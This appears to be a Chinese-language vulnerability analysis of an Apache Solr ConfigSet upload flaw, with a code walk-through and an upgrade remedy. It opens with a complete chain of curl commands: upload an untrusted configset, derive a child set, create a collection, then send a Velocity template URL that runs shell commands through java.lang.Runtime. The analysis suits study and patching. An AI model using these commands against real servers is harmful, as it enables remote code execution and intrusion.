solr.cmd start -c

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @7.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=file1"

curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"

http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

当传入zip配置文件时，会调用getTrusted函数进行判断是否允许创建该配置对应的node:

org.apache.solr.handler.admin.ConfigSetsHandler

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"

虽然该配置文件集会被标记成未授信，但仍然会被写入到服务器中

所以我们第一步上传的配置集会被写入到服务器中，然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等，因此挨个全局搜索找到判定点：

org.apache.solr.handler.admin.ConfigSetsHandler

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"

结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板，创建新的模板其名字为evil1，跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀，筛选对应的CREATE配置：

我们传入的immutable默认为false，因此从配置的角度来说URL可以稍微简化一点：

curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"

这里同样可以上传成功，值得注意的是我们之前在getTrusted打下的断点没有触发，意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的：

随后我们跟进下一步：

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"

同样的道理这里出现关键词replicationFactor一个似乎是一个工厂函数推测，配置就是在这一步创建的，全局搜索replicationFactor，最后最后找了很久发现触发点（利用重复性报错）org.apache.solr.cloud.api.collections.CreateCollectionCmd#call

这个函数非常长，具体作用就是创建collection并判断选用的是哪个configsets，最后刷新collection列表：

通过这一系列的操作最后就能够生成新的collection，即配置被加载，从而能被攻击者利用了。

1.升级到最新版本

http://archive.apache.org/dist/lucene/solr/

这个漏洞是由于连续UPLOAD上传configset后configset API只会检测第一次而产生未授权漏洞，看了很多文章都是直接上传一个configset之后collection感觉上有些问题，于是便在开篇写了我认为的利用链，如果有疑问欢迎师傅一起沟通。

参考链接：

https://blog.csdn.net/weixin_45728976/article/details/109102413

https://blog.csdn.net/caiqiiqi/article/details/109046187

Timeline Sec 团队

安全路上，与你并肩前行